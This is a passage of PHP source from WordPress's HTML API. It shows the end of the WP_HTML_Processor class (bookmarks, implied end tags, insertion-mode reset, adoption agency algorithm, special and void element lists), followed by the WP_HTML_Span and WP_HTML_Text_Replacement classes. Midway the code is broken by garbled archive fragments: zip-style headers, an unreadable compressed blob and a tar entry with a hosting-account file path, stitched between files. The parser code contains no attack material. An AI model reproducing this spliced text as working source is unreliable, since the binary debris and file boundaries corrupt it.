	 * retain their "position" - the location to which they
	 * originally pointed. The inability to use bookmarks with
	 * functions like `substr` is therefore intentional to guard
	 * against accidentally breaking the HTML.
	 *
	 * Because bookmarks allocate memory and require processing
	 * for every applied update, they are limited and require
	 * a name. They should not be created with programmatically-made
	 * names, such as "li_{$index}" with some loop. As a general
	 * rule they should only be created with string-literal names
	 * like "start-of-section" or "last-paragraph".
	 *
	 * Bookmarks are a powerful tool to enable complicated behavior.
	 * Consider double-checking that you need this tool if you are
	 * reaching for it, as inappropriate use could lead to broken
	 * HTML structure or unwanted processing overhead.
	 *
	 * Bookmarks cannot be set on tokens that do no appear in the original
	 * HTML text. For example, the HTML `<table><td>` stops at tags `TABLE`,
	 * `TBODY`, `TR`, and `TD`. The `TBODY` and `TR` tags do not appear in
	 * the original HTML and cannot be used as bookmarks.
	 *
	 * @since 6.4.0
	 *
	 * @param string $bookmark_name Identifies this particular bookmark.
	 * @return bool Whether the bookmark was successfully created.
	 */
	public function set_bookmark( $bookmark_name ): bool {
		if ( $this->is_virtual() ) {
			_doing_it_wrong(
				__METHOD__,
				__( 'Cannot set bookmarks on tokens that do no appear in the original HTML text.' ),
				'6.8.0'
			);
			return false;
		}
		return parent::set_bookmark( "_{$bookmark_name}" );
	}

	/**
	 * Checks whether a bookmark with the given name exists.
	 *
	 * @since 6.5.0
	 *
	 * @param string $bookmark_name Name to identify a bookmark that potentially exists.
	 * @return bool Whether that bookmark exists.
	 */
	public function has_bookmark( $bookmark_name ): bool {
		return parent::has_bookmark( "_{$bookmark_name}" );
	}

	/*
	 * HTML Parsing Algorithms
	 */

	/**
	 * Closes a P element.
	 *
	 * @since 6.4.0
	 *
	 * @throws WP_HTML_Unsupported_Exception When encountering unsupported HTML input.
	 *
	 * @see https://html.spec.whatwg.org/#close-a-p-element
	 */
	private function close_a_p_element(): void {
		$this->generate_implied_end_tags( 'P' );
		$this->state->stack_of_open_elements->pop_until( 'P' );
	}

	/**
	 * Closes elements that have implied end tags.
	 *
	 * @since 6.4.0
	 * @since 6.7.0 Full spec support.
	 *
	 * @see https://html.spec.whatwg.org/#generate-implied-end-tags
	 *
	 * @param string|null $except_for_this_element Perform as if this element doesn't exist in the stack of open elements.
	 */
	private function generate_implied_end_tags( ?string $except_for_this_element = null ): void {
		$elements_with_implied_end_tags = array(
			'DD',
			'DT',
			'LI',
			'OPTGROUP',
			'OPTION',
			'P',
			'RB',
			'RP',
			'RT',
			'RTC',
		);

		$no_exclusions = ! isset( $except_for_this_element );

		while (
			( $no_exclusions || ! $this->state->stack_of_open_elements->current_node_is( $except_for_this_element ) ) &&
			in_array( $this->state->stack_of_open_elements->current_node()->node_name, $elements_with_implied_end_tags, true )
		) {
			$this->state->stack_of_open_elements->pop();
		}
	}

	/**
	 * Closes elements that have implied end tags, thoroughly.
	 *
	 * See the HTML specification for an explanation why this is
	 * different from generating end tags in the normal sense.
	 *
	 * @since 6.4.0
	 * @since 6.7.0 Full spec support.
	 *
	 * @see WP_HTML_Processor::generate_implied_end_tags
	 * @see https://html.spec.whatwg.org/#generate-implied-end-tags
	 */
	private function generate_implied_end_tags_thoroughly(): void {
		$elements_with_implied_end_tags = array(
			'CAPTION',
			'COLGROUP',
			'DD',
			'DT',
			'LI',
			'OPTGROUP',
			'OPTION',
			'P',
			'RB',
			'RP',
			'RT',
			'RTC',
			'TBODY',
			'TD',
			'TFOOT',
			'TH',
			'THEAD',
			'TR',
		);

		while ( in_array( $this->state->stack_of_open_elements->current_node()->node_name, $elements_with_implied_end_tags, true ) ) {
			$this->state->stack_of_open_elements->pop();
		}
	}

	/**
	 * Returns the adjusted current node.
	 *
	 * > The adjusted current node is the context element if the parser was created as
	 * > part of the HTML fragment parsing algorithm and the stack of open elements
	 * > has only one element in it (fragment case); otherwise, the adjusted current
	 * > node is the current node.
	 *
	 * @see https://html.spec.whatwg.org/#adjusted-current-node
	 *
	 * @since 6.7.0
	 *
	 * @return WP_HTML_Token|null The adjusted current node.
	 */
	private function get_adjusted_current_node(): ?WP_HTML_Token {
		if ( isset( $this->context_node ) && 1 === $this->state->stack_of_open_elements->count() ) {
			return $this->context_node;
		}

		return $this->state->stack_of_open_elements->current_node();
	}

	/**
	 * Reconstructs the active formatting elements.
	 *
	 * > This has the effect of reopening all the formatting elements that were opened
	 * > in the current body, cell, or caption (whichever is youngest) that haven't
	 * > been explicitly closed.
	 *
	 * @since 6.4.0
	 *
	 * @throws WP_HTML_Unsupported_Exception When encountering unsupported HTML input.
	 *
	 * @see https://html.spec.whatwg.org/#reconstruct-the-active-formatting-elements
	 *
	 * @return bool Whether any formatting elements needed to be reconstructed.
	 */
	private function reconstruct_active_formatting_elements(): bool {
		/*
		 * > If there are no entries in the list of active formatting elements, then there is nothing
		 * > to reconstruct; stop this algorithm.
		 */
		if ( 0 === $this->state->active_formatting_elements->count() ) {
			return false;
		}

		$last_entry = $this->state->active_formatting_elements->current_node();
		if (

			/*
			 * > If the last (most recently added) entry in the list of active formatting elements is a marker;
			 * > stop this algorithm.
			 */
			'marker' === $last_entry->node_name ||

			/*
			 * > If the last (most recently added) entry in the list of active formatting elements is an
			 * > element that is in the stack of open elements, then there is nothing to reconstruct;
			 * > stop this algorithm.
			 */
			$this->state->stack_of_open_elements->contains_node( $last_entry )
		) {
			return false;
		}

		$this->bail( 'Cannot reconstruct active formatting elements when advancing and rewinding is required.' );
	}

	/**
	 * Runs the reset the insertion mode appropriately algorithm.
	 *
	 * @since 6.7.0
	 *
	 * @see https://html.spec.whatwg.org/multipage/parsing.html#reset-the-insertion-mode-appropriately
	 */
	private function reset_insertion_mode_appropriately(): void {
		// Set the first node.
		$first_node = null;
		foreach ( $this->state->stack_of_open_elements->walk_down() as $first_node ) {
			break;
		}

		/*
		 * > 1. Let _last_ be false.
		 */
		$last = false;
		foreach ( $this->state->stack_of_open_elements->walk_up() as $node ) {
			/*
			 * > 2. Let _node_ be the last node in the stack of open elements.
			 * > 3. _Loop_: If _node_ is the first node in the stack of open elements, then set _last_
			 * >            to true, and, if the parser was created as part of the HTML fragment parsing
			 * >            algorithm (fragment case), set node to the context element passed to
			 * >            that algorithm.
			 * > …
			 */
			if ( $node === $first_node ) {
				$last = true;
				if ( isset( $this->context_node ) ) {
					$node = $this->context_node;
				}
			}

			// All of the following rules are for matching HTML elements.
			if ( 'html' !== $node->namespace ) {
				continue;
			}

			switch ( $node->node_name ) {
				/*
				 * > 4. If node is a `select` element, run these substeps:
				 * >   1. If _last_ is true, jump to the step below labeled done.
				 * >   2. Let _ancestor_ be _node_.
				 * >   3. _Loop_: If _ancestor_ is the first node in the stack of open elements,
				 * >      jump to the step below labeled done.
				 * >   4. Let ancestor be the node before ancestor in the stack of open elements.
				 * >   …
				 * >   7. Jump back to the step labeled _loop_.
				 * >   8. _Done_: Switch the insertion mode to "in select" and return.
				 */
				case 'SELECT':
					if ( ! $last ) {
						foreach ( $this->state->stack_of_open_elements->walk_up( $node ) as $ancestor ) {
							if ( 'html' !== $ancestor->namespace ) {
								continue;
							}

							switch ( $ancestor->node_name ) {
								/*
								 * > 5. If _ancestor_ is a `template` node, jump to the step below
								 * >    labeled _done_.
								 */
								case 'TEMPLATE':
									break 2;

								/*
								 * > 6. If _ancestor_ is a `table` node, switch the insertion mode to
								 * >    "in select in table" and return.
								 */
								case 'TABLE':
									$this->state->insertion_mode = WP_HTML_Processor_State::INSERTION_MODE_IN_SELECT_IN_TABLE;
									return;
							}
						}
					}
					$this->state->insertion_mode = WP_HTML_Processor_State::INSERTION_MODE_IN_SELECT;
					return;

				/*
				 * > 5. If _node_ is a `td` or `th` element and _last_ is false, then switch the
				 * >    insertion mode to "in cell" and return.
				 */
				case 'TD':
				case 'TH':
					if ( ! $last ) {
						$this->state->insertion_mode = WP_HTML_Processor_State::INSERTION_MODE_IN_CELL;
						return;
					}
					break;

					/*
					* > 6. If _node_ is a `tr` element, then switch the insertion mode to "in row"
					* >    and return.
					*/
				case 'TR':
					$this->state->insertion_mode = WP_HTML_Processor_State::INSERTION_MODE_IN_ROW;
					return;

				/*
				 * > 7. If _node_ is a `tbody`, `thead`, or `tfoot` element, then switch the
				 * >    insertion mode to "in table body" and return.
				 */
				case 'TBODY':
				case 'THEAD':
				case 'TFOOT':
					$this->state->insertion_mode = WP_HTML_Processor_State::INSERTION_MODE_IN_TABLE_BODY;
					return;

				/*
				 * > 8. If _node_ is a `caption` element, then switch the insertion mode to
				 * >    "in caption" and return.
				 */
				case 'CAPTION':
					$this->state->insertion_mode = WP_HTML_Processor_State::INSERTION_MODE_IN_CAPTION;
					return;

				/*
				 * > 9. If _node_ is a `colgroup` element, then switch the insertion mode to
				 * >    "in column group" and return.
				 */
				case 'COLGROUP':
					$this->state->insertion_mode = WP_HTML_Processor_State::INSERTION_MODE_IN_COLUMN_GROUP;
					return;

				/*
				 * > 10. If _node_ is a `table` element, then switch the insertion mode to
				 * >     "in table" and return.
				 */
				case 'TABLE':
					$this->state->insertion_mode = WP_HTML_Processor_State::INSERTION_MODE_IN_TABLE;
					return;

				/*
				 * > 11. If _node_ is a `template` element, then switch the insertion mode to the
				 * >     current template insertion mode and return.
				 */
				case 'TEMPLATE':
					$this->state->insertion_mode = end( $this->state->stack_of_template_insertion_modes );
					return;

				/*
				 * > 12. If _node_ is a `head` element and _last_ is false, then switch the
				 * >     insertion mode to "in head" and return.
				 */
				case 'HEAD':
					if ( ! $last ) {
						$this->state->insertion_mode = WP_HTML_Processor_State::INSERTION_MODE_IN_HEAD;
						return;
					}
					break;

				/*
				 * > 13. If _node_ is a `body` element, then switch the insertion mode to "in body"
				 * >     and return.
				 */
				case 'BODY':
					$this->state->insertion_mode = WP_HTML_Processor_State::INSERTION_MODE_IN_BODY;
					return;

				/*
				 * > 14. If _node_ is a `frameset` element, then switch the insertion mode to
				 * >     "in frameset" and return. (fragment case)
				 */
				case 'FRAMESET':
					$this->state->insertion_mode = WP_HTML_Processor_State::INSERTION_MODE_IN_FRAMESET;
					return;

				/*
				 * > 15. If _node_ is an `html` element, run these substeps:
				 * >     1. If the head element pointer is null, switch the insertion mode to
				 * >        "before head" and return. (fragment case)
				 * >     2. Otherwise, the head element pointer is not null, switch the insertion
				 * >        mode to "after head" and return.
				 */
				case 'HTML':
					$this->state->insertion_mode = isset( $this->state->head_element )
						? WP_HTML_Processor_State::INSERTION_MODE_AFTER_HEAD
						: WP_HTML_Processor_State::INSERTION_MODE_BEFORE_HEAD;
					return;
			}
		}

		/*
		 * > 16. If _last_ is true, then switch the insertion mode to "in body"
		 * >     and return. (fragment case)
		 *
		 * This is only reachable if `$last` is true, as per the fragment parsing case.
		 */
		$this->state->insertion_mode = WP_HTML_Processor_State::INSERTION_MODE_IN_BODY;
	}

	/**
	 * Runs the adoption agency algorithm.
	 *
	 * @since 6.4.0
	 *
	 * @throws WP_HTML_Unsupported_Exception When encountering unsupported HTML input.
	 *
	 * @see https://html.spec.whatwg.org/#adoption-agency-algorithm
	 */
	private function run_adoption_agency_algorithm(): void {
		$budget       = 1000;
		$subject      = $this->get_tag();
		$current_node = $this->state->stack_of_open_elements->current_node();

		if (
			// > If the current node is an HTML element whose tag name is subject
			$current_node && $subject === $current_node->node_name &&
			// > the current node is not in the list of active formatting elements
			! $this->state->active_formatting_elements->contains_node( $current_node )
		) {
			$this->state->stack_of_open_elements->pop();
			return;
		}

		$outer_loop_counter = 0;
		while ( $budget-- > 0 ) {
			if ( $outer_loop_counter++ >= 8 ) {
				return;
			}

			/*
			 * > Let formatting element be the last element in the list of active formatting elements that:
			 * >   - is between the end of the list and the last marker in the list,
			 * >     if any, or the start of the list otherwise,
			 * >   - and has the tag name subject.
			 */
			$formatting_element = null;
			foreach ( $this->state->active_formatting_elements->walk_up() as $item ) {
				if ( 'marker' === $item->node_name ) {
					break;
				}

				if ( $subject === $item->node_name ) {
					$formatting_element = $item;
					break;
				}
			}

			// > If there is no such element, then return and instead act as described in the "any other end tag" entry above.
			if ( null === $formatting_element ) {
				$this->bail( 'Cannot run adoption agency when "any other end tag" is required.' );
			}

			// > If formatting element is not in the stack of open elements, then this is a parse error; remove the element from the list, and return.
			if ( ! $this->state->stack_of_open_elements->contains_node( $formatting_element ) ) {
				$this->state->active_formatting_elements->remove_node( $formatting_element );
				return;
			}

			// > If formatting element is in the stack of open elements, but the element is not in scope, then this is a parse error; return.
			if ( ! $this->state->stack_of_open_elements->has_element_in_scope( $formatting_element->node_name ) ) {
				return;
			}

			/*
			 * > Let furthest block be the topmost node in the stack of open elements that is lower in the stack
			 * > than formatting element, and is an element in the special category. There might not be one.
			 */
			$is_above_formatting_element = true;
			$furthest_block              = null;
			foreach ( $this->state->stack_of_open_elements->walk_down() as $item ) {
				if ( $is_above_formatting_element && $formatting_element->bookmark_name !== $item->bookmark_name ) {
					continue;
				}

				if ( $is_above_formatting_element ) {
					$is_above_formatting_element = false;
					continue;
				}

				if ( self::is_special( $item ) ) {
					$furthest_block = $item;
					break;
				}
			}

			/*
			 * > If there is no furthest block, then the UA must first pop all the nodes from the bottom of the
			 * > stack of open elements, from the current node up to and including formatting element, then
			 * > remove formatting element from the list of active formatting elements, and finally return.
			 */
			if ( null === $furthest_block ) {
				foreach ( $this->state->stack_of_open_elements->walk_up() as $item ) {
					$this->state->stack_of_open_elements->pop();

					if ( $formatting_element->bookmark_name === $item->bookmark_name ) {
						$this->state->active_formatting_elements->remove_node( $formatting_element );
						return;
					}
				}
			}

			$this->bail( 'Cannot extract common ancestor in adoption agency algorithm.' );
		}

		$this->bail( 'Cannot run adoption agency when looping required.' );
	}

	/**
	 * Runs the "close the cell" algorithm.
	 *
	 * > Where the steps above say to close the cell, they mean to run the following algorithm:
	 * >   1. Generate implied end tags.
	 * >   2. If the current node is not now a td element or a th element, then this is a parse error.
	 * >   3. Pop elements from the stack of open elements stack until a td element or a th element has been popped from the stack.
	 * >   4. Clear the list of active formatting elements up to the last marker.
	 * >   5. Switch the insertion mode to "in row".
	 *
	 * @see https://html.spec.whatwg.org/multipage/parsing.html#close-the-cell
	 *
	 * @since 6.7.0
	 */
	private function close_cell(): void {
		$this->generate_implied_end_tags();
		// @todo Parse error if the current node is a "td" or "th" element.
		foreach ( $this->state->stack_of_open_elements->walk_up() as $element ) {
			$this->state->stack_of_open_elements->pop();
			if ( 'TD' === $element->node_name || 'TH' === $element->node_name ) {
				break;
			}
		}
		$this->state->active_formatting_elements->clear_up_to_last_marker();
		$this->state->insertion_mode = WP_HTML_Processor_State::INSERTION_MODE_IN_ROW;
	}

	/**
	 * Inserts an HTML element on the stack of open elements.
	 *
	 * @since 6.4.0
	 *
	 * @see https://html.spec.whatwg.org/#insert-a-foreign-element
	 *
	 * @param WP_HTML_Token $token Name of bookmark pointing to element in original input HTML.
	 */
	private function insert_html_element( WP_HTML_Token $token ): void {
		$this->state->stack_of_open_elements->push( $token );
	}

	/**
	 * Inserts a foreign element on to the stack of open elements.
	 *
	 * @since 6.7.0
	 *
	 * @see https://html.spec.whatwg.org/#insert-a-foreign-element
	 *
	 * @param WP_HTML_Token $token                     Insert this token. The token's namespace and
	 *                                                 insertion point will be updated correctly.
	 * @param bool          $only_add_to_element_stack Whether to skip the "insert an element at the adjusted
	 *                                                 insertion location" algorithm when adding this element.
	 */
	private function insert_foreign_element( WP_HTML_Token $token, bool $only_add_to_element_stack ): void {
		$adjusted_current_node = $this->get_adjusted_current_node();

		$token->namespace = $adjusted_current_node ? $adjusted_current_node->namespace : 'html';

		if ( $this->is_mathml_integration_point() ) {
			$token->integration_node_type = 'math';
		} elseif ( $this->is_html_integration_point() ) {
			$token->integration_node_type = 'html';
		}

		if ( false === $only_add_to_element_stack ) {
			/*
			 * @todo Implement the "appropriate place for inserting a node" and the
			 *       "insert an element at the adjusted insertion location" algorithms.
			 *
			 * These algorithms mostly impacts DOM tree construction and not the HTML API.
			 * Here, there's no DOM node onto which the element will be appended, so the
			 * parser will skip this step.
			 *
			 * @see https://html.spec.whatwg.org/#insert-an-element-at-the-adjusted-insertion-location
			 */
		}

		$this->insert_html_element( $token );
	}

	/**
	 * Inserts a virtual element on the stack of open elements.
	 *
	 * @since 6.7.0
	 *
	 * @param string      $token_name    Name of token to create and insert into the stack of open elements.
	 * @param string|null $bookmark_name Optional. Name to give bookmark for created virtual node.
	 *                                   Defaults to auto-creating a bookmark name.
	 * @return WP_HTML_Token Newly-created virtual token.
	 */
	private function insert_virtual_node( $token_name, $bookmark_name = null ): WP_HTML_Token {
		$here = $this->bookmarks[ $this->state->current_token->bookmark_name ];
		$name = $bookmark_name ?? $this->bookmark_token();

		$this->bookmarks[ $name ] = new WP_HTML_Span( $here->start, 0 );

		$token = new WP_HTML_Token( $name, $token_name, false );
		$this->insert_html_element( $token );
		return $token;
	}

	/*
	 * HTML Specification Helpers
	 */

	/**
	 * Indicates if the current token is a MathML integration point.
	 *
	 * @since 6.7.0
	 *
	 * @see https://html.spec.whatwg.org/#mathml-text-integration-point
	 *
	 * @return bool Whether the current token is a MathML integration point.
	 */
	private function is_mathml_integration_point(): bool {
		$current_token = $this->state->current_token;
		if ( ! isset( $current_token ) ) {
			return false;
		}

		if ( 'math' !== $current_token->namespace || 'M' !== $current_token->node_name[0] ) {
			return false;
		}

		$tag_name = $current_token->node_name;

		return (
			'MI' === $tag_name ||
			'MO' === $tag_name ||
			'MN' === $tag_name ||
			'MS' === $tag_name ||
			'MTEXT' === $tag_name
		);
	}

	/**
	 * Indicates if the current token is an HTML integration point.
	 *
	 * Note that this method must be an instance method with access
	 * to the current token, since it needs to examine the attributes
	 * of the currently-matched tag, if it's in the MathML namespace.
	 * Otherwise it would be required to scan the HTML and ensure that
	 * no other accounting is overlooked.
	 *
	 * @since 6.7.0
	 *
	 * @see https://html.spec.whatwg.org/#html-integration-point
	 *
	 * @return bool Whether the current token is an HTML integration point.
	 */
	private function is_html_integration_point(): bool {
		$current_token = $this->state->current_token;
		if ( ! isset( $current_token ) ) {
			return false;
		}

		if ( 'html' === $current_token->namespace ) {
			return false;
		}

		$tag_name = $current_token->node_name;

		if ( 'svg' === $current_token->namespace ) {
			return (
				'DESC' === $tag_name ||
				'FOREIGNOBJECT' === $tag_name ||
				'TITLE' === $tag_name
			);
		}

		if ( 'math' === $current_token->namespace ) {
			if ( 'ANNOTATION-XML' !== $tag_name ) {
				return false;
			}

			$encoding = $this->get_attribute( 'encoding' );

			return (
				is_string( $encoding ) &&
				(
					0 === strcasecmp( $encoding, 'application/xhtml+xml' ) ||
					0 === strcasecmp( $encoding, 'text/html' )
				)
			);
		}

		$this->bail( 'Should not have reached end of HTML Integration Point detection: check HTML API code.' );
		// This unnecessary return prevents tools from inaccurately reporting type errors.
		return false;
	}

	/**
	 * Returns whether an element of a given name is in the HTML special category.
	 *
	 * @since 6.4.0
	 *
	 * @see https://html.spec.whatwg.org/#special
	 *
	 * @param WP_HTML_Token|string $tag_name Node to check, or only its name if in the HTML namespace.
	 * @return bool Whether the element of the given name is in the special category.
	 */
	public static function is_special( $tag_name ): bool {
		if ( is_string( $tag_name ) ) {
			$tag_name = strtoupper( $tag_name );
		} else {
			$tag_name = 'html' === $tag_name->namespace
				? strtoupper( $tag_name->node_name )
				: "{$tag_name->namespace} {$tag_name->node_name}";
		}

		return (
			'ADDRESS' === $tag_name ||
			'APPLET' === $tag_name ||
			'AREA' === $tag_name ||
			'ARTICLE' === $tag_name ||
			'ASIDE' === $tag_name ||
			'BASE' === $tag_name ||
			'BASEFONT' === $tag_name ||
			'BGSOUND' === $tag_name ||
			'BLOCKQUOTE' === $tag_name ||
			'BODY' === $tag_name ||
			'BR' === $tag_name ||
			'BUTTON' === $tag_name ||
			'CAPTION' === $tag_name ||
			'CENTER' === $tag_name ||
			'COL' === $tag_name ||
			'COLGROUP' === $tag_name ||
			'DD' === $tag_name ||
			'DETAILS' === $tag_name ||
			'DIR' === $tag_name ||
			'DIV' === $tag_name ||
			'DL' === $tag_name ||
			'DT' === $tag_name ||
			'EMBED' === $tag_name ||
			'FIELDSET' === $tag_name ||
			'FIGCAPTION' === $tag_name ||
			'FIGURE' === $tag_name ||
			'FOOTER' === $tag_name ||
			'FORM' === $tag_name ||
			'FRAME' === $tag_name ||
			'FRAMESET' === $tag_name ||
			'H1' === $tag_name ||
			'H2' === $tag_name ||
			'H3' === $tag_name ||
			'H4' === $tag_name ||
			'H5' === $tag_name ||
			'H6' === $tag_name ||
			'HEAD' === $tag_name ||
			'HEADER' === $tag_name ||
			'HGROUP' === $tag_name ||
			'HR' === $tag_name ||
			'HTML' === $tag_name ||
			'IFRAME' === $tag_name ||
			'IMG' === $tag_name ||
			'INPUT' === $tag_name ||
			'KEYGEN' === $tag_name ||
			'LI' === $tag_name ||
			'LINK' === $tag_name ||
			'LISTING' === $tag_name ||
			'MAIN' === $tag_name ||
			'MARQUEE' === $tag_name ||
			'MENU' === $tag_name ||
			'META' === $tag_name ||
			'NAV' === $tag_name ||
			'NOEMBED' === $tag_name ||
			'NOFRAMES' === $tag_name ||
			'NOSCRIPT' === $tag_name ||
			'OBJECT' === $tag_name ||
			'OL' === $tag_name ||
			'P' === $tag_name ||
			'PARAM' === $tag_name ||
			'PLAINTEXT' === $tag_name ||
			'PRE' === $tag_name ||
			'SCRIPT' === $tag_name ||
			'SEARCH' === $tag_name ||
			'SECTION' === $tag_name ||
			'SELECT' === $tag_name ||
			'SOURCE' === $tag_name ||
			'STYLE' === $tag_name ||
			'SUMMARY' === $tag_name ||
			'TABLE' === $tag_name ||
			'TBODY' === $tag_name ||
			'TD' === $tag_name ||
			'TEMPLATE' === $tag_name ||
			'TEXTAREA' === $tag_name ||
			'TFOOT' === $tag_name ||
			'TH' === $tag_name ||
			'THEAD' === $tag_name ||
			'TITLE' === $tag_name ||
			'TR' === $tag_name ||
			'TRACK' === $tag_name ||
			'UL' === $tag_name ||
			'WBR' === $tag_name ||
			'XMP' === $tag_name ||

			// MathML.
			'math MI' === $tag_name ||
			'math MO' === $tag_name ||
			'math MN' === $tag_name ||
			'math MS' === $tag_name ||
			'math MTEXT' === $tag_name ||
			'math ANNOTATION-XML' === $tag_name ||

			// SVG.
			'svg DESC' === $tag_name ||
			'svg FOREIGNOBJECT' === $tag_name ||
			'svg TITLE' === $tag_name
		);
	}

	/**
	 * Returns whether a given element is an HTML Void Element
	 *
	 * > area, base, br, col, embed, hr, img, input, link, meta, source, track, wbr
	 *
	 * @since 6.4.0
	 *
	 * @see https://html.spec.whatwg.org/#void-elements
	 *
	 * @param string $tag_name Name of HTML tag to check.
	 * @return bool Whether the given tag is an HTML Void Element.
	 */
	public static function is_void( $tag_name ): bool {
		$tag_name = strtoupper( $tag_name );

		return (
			'AREA' === $tag_name ||
			'BASE' === $tag_name ||
			'BASEFONT' === $tag_name || // Obsolete but still treated as void.
			'BGSOUND' === $tag_name || // Obsolete but still treated as void.
			'BR' === $tag_name ||
			'COL' === $tag_name ||
			'EMBED' === $tag_name ||
			'FRAME' === $tag_name ||
			'HR' === $tag_name ||
			'IMG' === $tag_name ||
			'INPUT' === $tag_name ||
			'KEYGEN' === $tag_name || // Obsolete but still treated as void.
			'LINK' === $tag_name ||
			'META' === $tag_name ||
			'PARAM' === $tag_name || // Obsolete but still treated as void.
			'SOURCE' === $tag_name ||
			'TRACK' === $tag_name ||
			'WBR' === $tag_name
		);
	}

	/**
	 * Gets an encoding from a given string.
	 *
	 * This is an algorithm defined in the WHAT-WG specification.
	 *
	 * Example:
	 *
	 *     'UTF-8' === self::get_encoding( 'utf8' );
	 *     'UTF-8' === self::get_encoding( "  \tUTF-8 " );
	 *     null    === self::get_encoding( 'UTF-7' );
	 *     null    === self::get_encoding( 'utf8; charset=' );
	 *
	 * @see https://encoding.spec.whatwg.org/#concept-encoding-get
	 *
	 * @todo As this parser only supports UTF-8, only the UTF-8
	 *       encodings are detected. Add more as desired, but the
	 *       parser will bail on non-UTF-8 encodings.
	 *
	 * @since 6.7.0
	 *
	 * @param string $label A string which may specify a known encoding.
	 * @return string|null Known encoding if matched, otherwise null.
	 */
	protected static function get_encoding( string $label ): ?string {
		/*
		 * > Remove any leading and trailing ASCII whitespace from label.
		 */
		$label = trim( $label, " \t\f\r\n" );

		/*
		 * > If label is an ASCII case-insensitive match for any of the labels listed in the
		 * > table below, then return the corresponding encoding; otherwise return failure.
		 */
		switch ( strtolower( $label ) ) {
			case 'unicode-1-1-utf-8':
			case 'unicode11utf8':
			case 'unicode20utf8':
			case 'utf-8':
			case 'utf8':
			case 'x-unicode20utf8':
				return 'UTF-8';

			default:
				return null;
		}
	}

	/*
	 * Constants that would pollute the top of the class if they were found there.
	 */

	/**
	 * Indicates that the next HTML token should be parsed and processed.
	 *
	 * @since 6.4.0
	 *
	 * @var string
	 */
	const PROCESS_NEXT_NODE = 'process-next-node';

	/**
	 * Indicates that the current HTML token should be reprocessed in the newly-selected insertion mode.
	 *
	 * @since 6.4.0
	 *
	 * @var string
	 */
	const REPROCESS_CURRENT_NODE = 'reprocess-current-node';

	/**
	 * Indicates that the current HTML token should be processed without advancing the parser.
	 *
	 * @since 6.5.0
	 *
	 * @var string
	 */
	const PROCESS_CURRENT_NODE = 'process-current-node';

	/**
	 * Indicates that the parser encountered unsupported markup and has bailed.
	 *
	 * @since 6.4.0
	 *
	 * @var string
	 */
	const ERROR_UNSUPPORTED = 'unsupported';

	/**
	 * Indicates that the parser encountered more HTML tokens than it
	 * was able to process and has bailed.
	 *
	 * @since 6.4.0
	 *
	 * @var string
	 */
	const ERROR_EXCEEDED_MAX_BOOKMARKS = 'exceeded-max-bookmarks';

	/**
	 * Unlock code that must be passed into the constructor to create this class.
	 *
	 * This class extends the WP_HTML_Tag_Processor, which has a public class
	 * constructor. Therefore, it's not possible to have a private constructor here.
	 *
	 * This unlock code is used to ensure that anyone calling the constructor is
	 * doing so with a full understanding that it's intended to be a private API.
	 *
	 * @access private
	 */
	const CONSTRUCTOR_UNLOCK_CODE = 'Use WP_HTML_Processor::create_fragment() instead of calling the class constructor directly.';
}
PKYO\��610/registration.php.php.tar.gznu�[�����MK�0���_1�n�6���AA*"�=���`��$��tE���>�0<��$�LHD�W��}��@E�y��Rj����� �.����(#۶���4U��6U��M�5�諮��P�=�>0#"�r~�3!y�@Wh, /�ހ2zD�G�Kˆg6"���?X�>
MQe�$I臦OR�z�Q�)V����]S
�	���4qQ���QH��O��o_�)d��%�}���W��)PKYO\��)10/registration.php.tarnu�[���home/homerdlh/public_html/wp-includes/registration.php000064400000000310151442377350017262 0ustar00<?php
/**
 * Deprecated. No longer needed.
 *
 * @package WordPress
 * @deprecated 3.1.0
 */

_deprecated_file( basename( __FILE__ ), '3.1.0', '', __( 'This file no longer needs to be included.' ) );
PKYO\��|KKclass-wp-html-span.phpnu�[���<?php
/**
 * HTML API: WP_HTML_Span class
 *
 * @package WordPress
 * @subpackage HTML-API
 * @since 6.2.0
 */

/**
 * Core class used by the HTML tag processor to represent a textual span
 * inside an HTML document.
 *
 * This is a two-tuple in disguise, used to avoid the memory overhead
 * involved in using an array for the same purpose.
 *
 * This class is for internal usage of the WP_HTML_Tag_Processor class.
 *
 * @access private
 * @since 6.2.0
 * @since 6.5.0 Replaced `end` with `length` to more closely align with `substr()`.
 *
 * @see WP_HTML_Tag_Processor
 */
class WP_HTML_Span {
	/**
	 * Byte offset into document where span begins.
	 *
	 * @since 6.2.0
	 *
	 * @var int
	 */
	public $start;

	/**
	 * Byte length of this span.
	 *
	 * @since 6.5.0
	 *
	 * @var int
	 */
	public $length;

	/**
	 * Constructor.
	 *
	 * @since 6.2.0
	 *
	 * @param int $start  Byte offset into document where replacement span begins.
	 * @param int $length Byte length of span.
	 */
	public function __construct( int $start, int $length ) {
		$this->start  = $start;
		$this->length = $length;
	}
}
PKYO\$gh��"class-wp-html-text-replacement.phpnu�[���<?php
/**
 * HTML API: WP_HTML_Text_Replacement class
 *
 * @package WordPress
 * @subpackage HTML-API
 * @since 6.2.0
 */

/**
 * Core class used by the HTML tag processor as a data structure for replacing
 * existing content from start to end, allowing to drastically improve performance.
 *
 * This class is for internal usage of the WP_HTML_Tag_Processor class.
 *
 * @access private
 * @since 6.2.0
 * @since 6.5.0 Replace `end` with `length` to more closely match `substr()`.
 *
 * @see WP_HTML_Tag_Processor
 */
class WP_HTML_Text_Replacement {
	/**
	 * Byte offset into document where replacement span begins.
	 *
	 * @since 6.2.0
	 *
	 * @var int
	 */
	public $start;

	/**
	 * Byte length of span being replaced.
	 *
	 * @since 6.5.0
	 *
	 * @var int
	 */
	public $length;

	/**
	 * Span of text to insert in document to replace existing content from start to end.
	 *
	 * @since 6.2.0
	 *
	 * @var string
	 */
	public $text;

	/**
	 * Constructor.
	 *
	 * @since 6.2.0
	 *
	 * @param int    $start  Byte offset into document where replacement span begins.
	 * @param int    $length Byte length of span in document being replaced.
	 * @param string $text   Span of text to insert in document to replace existing content from start to end.
	 */
	public function __construct( int $start, int $length, string $text ) {
		$this->start  = $start;
		$this->length = $length;
		$this->text   = $text;
	}
}
PKYO\�dԱ``,class-wp-html-active-formatting-elements.phpnu�[���<?php
/**
 * HTML API: WP_HTML_Active_Formatting_Elements class
 *
 * @package WordPress
 * @subpackage HTML-API
 * @since 6.4.0
 */

/**
 * Core class used by the HTML processor during HTML parsing
 * for managing the stack of active formatting elements.
 *
 * This class is designed for internal use by the HTML processor.
 *
 * > Initially, the list of active formatting elements is empty.
 * > It is used to handle mis-nested formatting element tags.
 * >
 * > The list contains elements in the formatting category, and markers.
 * > The markers are inserted when entering applet, object, marquee,
 * > template, td, th, and caption elements, and are used to prevent
 * > formatting from "leaking" into applet, object, marquee, template,
 * > td, th, and caption elements.
 * >
 * > In addition, each element in the list of active formatting elements
 * > is associated with the token for which it was created, so that
